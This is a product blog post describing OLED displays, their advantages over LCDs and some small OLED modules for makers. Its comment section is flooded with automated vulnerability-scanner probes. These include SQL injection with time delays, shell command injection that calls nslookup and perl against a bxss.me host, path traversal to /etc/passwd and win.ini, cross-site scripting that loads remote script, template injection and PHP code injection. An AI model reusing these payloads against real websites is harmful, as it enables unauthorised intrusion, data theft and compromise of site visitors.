OLED panels are made from organic materials that emit light when electricity is applied. Different from the LCD which needs backlight, the OLED does not need any backlight to display. Basically, the LCD does not emit light, it only “select ” the right color and intensity from the backlight and thus to display, while for OLED, each pixel of the OLED emits the light by themselves, the customer control all the pixels on/off and the intensity to show the images.

Compares to LCD, the OLED advantage is:1.
Improved image quality - better contrast, higher brightness, fuller viewing angle, a wider color range and much faster refresh rates.
2. Lower power consumption
3. Simpler design that enables ultra-thin, flexible and transparent displays
4. Better durability - OLEDs are very durable and can operate in a broader temperature range
Of course some drawbacks:1.
Lifespan, normally 5,000 hours, shorter than the LCD;
2.
Color balance problems;
Although there are many famous OLED TV such as the Samsung, but actually nowadays the OLED is most popular used in small-screen devices such as the cell phone and PDA. It is a really good choice for DIY, or small projects. with the advantages especially the flexibility, the OLED attracts more makers and startups to use them in new projects.
Here some famous and popular used OLED modules to share with Makerfabs customers, with these modules, you do not need to care about the detailed principle of OLED or control all the pixels by yourself, with the standard I2C/SPI interface, you can add the OLED in your project immediately.
1. The single color OLED:

The most popular used OLED modules, with 128x64 pixels, the size 0.96 inch/1.3 inch available and the color blue/yellow/white available, and the interface I2C/SPI available.
Besides, a special 0.91 inch OLED, with 128x32 pixel, sells really hot :
2. 0.95 Colorful OLED
The 0.95 inch colorful OLED driven by SSD1331 with standard SPI interface, resolution 96x64;
3. 1.5 inch Colorful OLED
The 1.5 inches colorful OLED driven by SSD1351 with standard SPI interface, resolution 128x128.
681 Comment(s)
e
1
1
1
1
1
1
1GaI9Qh6O
1
1<esi:include src="http://bxss.me/rpb.png"/>
${9999384+9999060}
/xfs.bxss.me
1
1
1
952349
'.gethostbyname(lc('hitun'.'brqekzsj6c1aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(76).chr(106).chr(81).'
1
HttP://bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(118).concat(82).concat(97).concat(79)+(require"socket" Socket.gethostbyname("hitiw"+"abpyxxxa04760.bxss.me.")[3].to_s)+"
response.write(9632087*9977375)
http://xfs.bxss.me
1
'"
".gethostbyname(lc("hitob"."lgwcqpcj490a5.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(69).chr(114).chr(76)."
1
bxss.me/t/xss.html?%00
1
'+'A'.concat(70-3).concat(22*4).concat(118).concat(81).concat(110).concat(73)+(require'socket' Socket.gethostbyname('hityj'+'qkpfggox227a6.bxss.me.')[3].to_s)+'
'+response.write(9632087*9977375)+'
//xfs.bxss.me
<!--
)
1
"+response.write(9632087*9977375)+"
index.php
/\xfs.bxss.me
!(()&&!|*|*|
1
index.php
1
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/passwd
1
1
1
index.php/.
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
../1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
bxss.me
1
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
${@print(md5(31337))}\
1
1
echo wiwhfb$()\ wfrhds\nz^xyu||a #' &echo wiwhfb$()\ wfrhds\nz^xyu||a #|" &echo wiwhfb$()\ wfrhds\nz^xyu||a #
1
'.print(md5(31337)).'
1
1
&echo hxmgbw$()\ ucszvr\nz^xyu||a #' &echo hxmgbw$()\ ucszvr\nz^xyu||a #|" &echo hxmgbw$()\ ucszvr\nz^xyu||a #
1
1
1
1
1
|echo edkqsm$()\ suritk\nz^xyu||a #' |echo edkqsm$()\ suritk\nz^xyu||a #|" |echo edkqsm$()\ suritk\nz^xyu||a #
1
1
1
1
(nslookup hiteccajotceacd8c6.bxss.me||perl -e "gethostbyname('hiteccajotceacd8c6.bxss.me')")
1
1
1
$(nslookup hitbxsqzzneyg6e2d7.bxss.me||perl -e "gethostbyname('hitbxsqzzneyg6e2d7.bxss.me')")
1
&(nslookup hitwbavevsupz92c91.bxss.me||perl -e "gethostbyname('hitwbavevsupz92c91.bxss.me')")&'\"`0&(nslookup hitwbavevsupz92c91.bxss.me||perl -e "gethostbyname('hitwbavevsupz92c91.bxss.me')")&`'
1
1
|(nslookup hitxwuhjulrxqaee74.bxss.me||perl -e "gethostbyname('hitxwuhjulrxqaee74.bxss.me')")
1
`(nslookup hitldeykakxdl2a32c.bxss.me||perl -e "gethostbyname('hitldeykakxdl2a32c.bxss.me')")`
1
1
;(nslookup hitevukamnbnn0ac64.bxss.me||perl -e "gethostbyname('hitevukamnbnn0ac64.bxss.me')")|(nslookup hitevukamnbnn0ac64.bxss.me||perl -e "gethostbyname('hitevukamnbnn0ac64.bxss.me')")&(nslookup hitevukamnbnn0ac64.bxss.me||perl -e "gethostbyname('hitevukamnbnn0ac64.bxss.me')")
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+973-973-1=0+0+0+1 --
-1 OR 3+973-973-1=0+0+0+1 --
-1 OR 2+669-669-1=0+0+0+1
-1 OR 3+669-669-1=0+0+0+1
-1' OR 2+753-753-1=0+0+0+1 --
-1' OR 3+753-753-1=0+0+0+1 --
-1' OR 2+747-747-1=0+0+0+1 or 'm7ePZj4i'='
-1' OR 3+747-747-1=0+0+0+1 or 'm7ePZj4i'='
-1" OR 2+376-376-1=0+0+0+1 --
-1" OR 3+376-376-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
PW8fIzXo'; waitfor delay '0:0:15' --
-5 OR 544=(SELECT 544 FROM PG_SLEEP(15))--
-5) OR 61=(SELECT 61 FROM PG_SLEEP(15))--
-1)) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
4obJAkxA' OR 177=(SELECT 177 FROM PG_SLEEP(15))--
xrBALqYI') OR 831=(SELECT 831 FROM PG_SLEEP(15))--
KXGnDAnO')) OR 813=(SELECT 813 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@T6W3V
1
1
1'"()&%<acx><ScRiPt >yWoZ(9192)</ScRiPt>
'"()&%<acx><ScRiPt >yWoZ(9148)</ScRiPt>
19488343
acu1025<s1﹥s2ʺs3ʹuca1025
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1<ScRiPt >yWoZ(9241)</ScRiPt>
1<W4OXEN>UTXXF[!+!]</W4OXEN>
1<script>yWoZ(9105)</script>
1<ScR<ScRiPt>IpT>yWoZ(9645)</sCr<ScRiPt>IpT>
1<ScRiPt >yWoZ(9979)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9861></ScRiPt>
1<